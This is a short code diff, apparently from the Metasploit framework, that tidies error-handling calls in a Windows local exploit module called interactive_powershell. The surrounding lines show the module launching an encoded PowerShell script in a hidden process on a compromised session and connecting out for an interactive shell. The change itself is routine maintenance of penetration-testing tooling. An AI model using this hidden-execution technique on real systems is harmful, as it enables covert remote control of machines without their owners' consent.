Updated tools/msftidy.rb issues

modules/exploits/windows/local/interactive_powershell.rb

@@ -87,9 +87,7 @@ class Metasploit3 < Msf::Exploit::Local
     script = compress_script(script_in)
 
     res = session.sys.process.execute("powershell -nop -e #{script}", nil, 'Hidden' => true, 'Channelized' => false)
-
-    fail_with(Exploit::Failure::Unknown, 'Failed to start powershell process') unless res && res.pid
-
+    fail_with(Failure::Unknown,'Failed to start powershell process') unless res && res.pid
     computer_name = session.sys.config.sysinfo['Computer']
     vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}")
     print_status("Attemping to connect to #{rhost}:#{lport}...")
@@ -125,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Local
     if last_error
       raise last_error
     else
-      fail_with(Exploit::Failure::Unknown, "Unable to connect")
+      fail_with(Failure::Unknown, "Unable to connect")
     end
   end
 end